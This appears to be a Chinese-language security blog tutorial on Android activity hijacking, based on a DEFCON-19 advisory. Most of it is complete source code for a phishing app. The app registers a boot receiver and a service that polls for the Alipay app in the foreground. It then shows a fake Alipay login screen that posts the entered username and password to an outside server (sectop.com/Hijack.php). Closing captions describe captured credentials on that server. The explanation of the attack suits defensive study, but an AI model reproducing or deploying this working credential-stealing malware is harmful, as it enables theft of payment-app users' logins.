android安全-activity劫持

一、activity劫持简介

DEFCON-19上公布的，原文见
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt

android运行时，会在很多activity中进行切换，它自身维护着一个activity的历史栈，用于在用户点击back时，恢复前一个activity，栈顶指向当前显示的activity。

原文如下：

http://developer.android.com/guide/topics/fundamentals/tasks-and-back-stack.html

在我们使用intent开启activity时，intent有一个选项FLAG_ACTIVITY_NEW_TASK，可以使得这个activity位于栈顶

http://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_NEW_TASK

如果我们注册一个receiver，响应android.intent.action.BOOT_COMPLETED，使得开启启动一个service；这个service，会启动一个计时器，不停枚举当前进程中是否有预设的进程启动，如果发现有预设进程，则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面，截获正常应用的登录凭证。

 

二、实例

androidmanifest.xml

<?xmlversion="1.0"encoding="utf-8"?>
<manifestxmlns:android="http://schemas.android.com/apk/res/android"
      package="com.xiaod.Hijack"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdkandroid:minSdkVersion="3"/>
    <uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
    <uses-permissionandroid:name="android.permission.INTERNET"/>
    <applicationandroid:icon="@drawable/icon"android:label="@string/app_name"android:name=".HijackApplication">
        <activityandroid:name=".HijackActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <actionandroid:name="android.intent.action.MAIN"/>
                <categoryandroid:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activityandroid:name=".AlipayLogin"android:noHistory="true"android:windowSoftInputMode="adjustResize"/>
      <serviceandroid:name=".HijackService"android:label="Hijack Service">
            <intent-filter>
                <actionandroid:name="com.xiaod.Hijack.service.Hijack"/>
            </intent-filter>
        </service>
        <receiver
        android:name=".HijackReceiver"
        android:enabled="true"
        android:exported="true"
        android:label="Hijack Receiver">
            <intent-filter>
                <actionandroid:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

HijackReceiver.java 用于开机启动HijackService

packagecom.xiaod.Hijack;

importandroid.content.BroadcastReceiver;
importandroid.content.Context;
importandroid.content.Intent;
importandroid.util.Log;

publicclass HijackReceiver extendsBroadcastReceiver{

    @Override
    publicvoid onReceive(Context context, Intent intent) {
        if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
            Intent serviceIntent = newIntent(context, HijackService.class);
            context.startService(serviceIntent);
        }
    }
}

HijackService.java用于判断正常应用是否启动，如果启动则开启劫持activity

packagecom.xiaod.Hijack;

importjava.util.HashMap;
importjava.util.List;
importjava.util.Timer;
importjava.util.TimerTask;

importandroid.app.ActivityManager;
importandroid.app.ActivityManager.RunningAppProcessInfo;
importandroid.app.Service;
importandroid.content.Context;
importandroid.content.Intent;
importandroid.os.IBinder;
importandroid.util.Log;

publicclass HijackService extendsService{
    Timer mTimer = newTimer();
    //新建一个定时任务
    TimerTask mTimerTask = newTimerTask() {
        @Override
        publicvoid run() {
            // TODO Auto-generated method stub
            //获取当前运行的进程列表
            ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );
            List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();

            //枚举进程
            for(RunningAppProcessInfo appProcess : appProcesses) {
                //如果APP在前台
                if(appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                    //APP是否在需要劫持的列表中
                    if(mVictims.containsKey(appProcess.processName)) {
                        if(((HijackApplication)getApplication()).getHasHijackStart() == false)
                        {
                            Intent dialogIntent = newIntent(getBaseContext(), mVictims.get(appProcess.processName));
                            //设置启动的activity位于栈顶
                            dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                            getApplication().startActivity(dialogIntent);
                            ((HijackApplication)getApplication()).setHasHijackStart(true);
                        }
                    }
                }
            }
            Log.e("HijackService_TimerTask","here");
        }

    };
    HashMap<String,Class<?>> mVictims = newHashMap<String,Class<?>>();
    longdelay = 1000;
    longperiod = 1000;

    @Override
    publicvoid onStart(Intent intent, intstartid) {

        //设置需要劫持的应用
        mVictims.put("com.eg.android.AlipayGphone", AlipayLogin.class);
        //开启计时任务
        mTimer.scheduleAtFixedRate(mTimerTask, delay, period);
    }

    @Override
    publicIBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        returnnull;
    }
}

AlipayLogin.java 是伪造的界面，用于获取用户凭证并发送到指定地址，并返回正常应用

packagecom.xiaod.Hijack;

importjava.util.ArrayList;
importjava.util.List;

importorg.apache.http.HttpResponse;
importorg.apache.http.NameValuePair;
importorg.apache.http.client.entity.UrlEncodedFormEntity;
importorg.apache.http.client.methods.HttpPost;
importorg.apache.http.impl.client.DefaultHttpClient;
importorg.apache.http.message.BasicNameValuePair;
importorg.apache.http.protocol.HTTP;

importandroid.app.Activity;
importandroid.os.Bundle;
importandroid.view.View;
importandroid.view.View.OnClickListener;
importandroid.view.Window;
importandroid.widget.Button;
importandroid.widget.EditText;

publicclass AlipayLogin extendsActivity {
    privateButton mBtnLogin;
    privateButton mBtnReg;
    privateEditText mEdtUser;
    privateEditText mEdtPwd;
    @Override
    publicvoid onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        requestWindowFeature(Window.FEATURE_NO_TITLE);
        setContentView(R.layout.alipay_login);

        mBtnLogin = (Button) findViewById(R.id.btn_login);
        mBtnReg = (Button) findViewById(R.id.btn_reg);
        mEdtUser = (EditText) findViewById(R.id.et_user);
        mEdtPwd = (EditText) findViewById(R.id.et_pwd);

        mBtnLogin.setOnClickListener(newOnClickListener() {

            @Override
            publicvoid onClick(View v) {
                // TODO Auto-generated method stub
                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString());
                moveTaskToBack(true);
            }

        });

        mBtnReg.setOnClickListener(newOnClickListener() {

            @Override
            publicvoid onClick(View v) {
                // TODO Auto-generated method stub
                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString());
                moveTaskToBack(true);
            }

        });
    }
    publicvoid onBackPressed() {
        moveTaskToBack(true);
    }

    privateboolean sendInfo(String user, String pwd) {
        HttpPost request = newHttpPost("http://www.sectop.com/Hijack.php");
        List<NameValuePair> params = newArrayList<NameValuePair>();
        params.add(newBasicNameValuePair("user", user));
        params.add(newBasicNameValuePair("pwd", pwd));

        try{
            request.setEntity(newUrlEncodedFormEntity(params, HTTP.UTF_8));
            HttpResponse response = newDefaultHttpClient().execute(request);
            if(response.getStatusLine().getStatusCode() == 200) {
                returntrue;
            }
            else{
                returnfalse;
            }
        }catch(Exception e) {
        }
        returnfalse;
    }
}

演示效果如下：

启动正常应用

 

这时恶意的后台service启动了伪造的activity

当用户输入凭证之后

 

恶意activity记录下凭证，并跳回到正常应用

在远端服务器已经记录下了用户凭证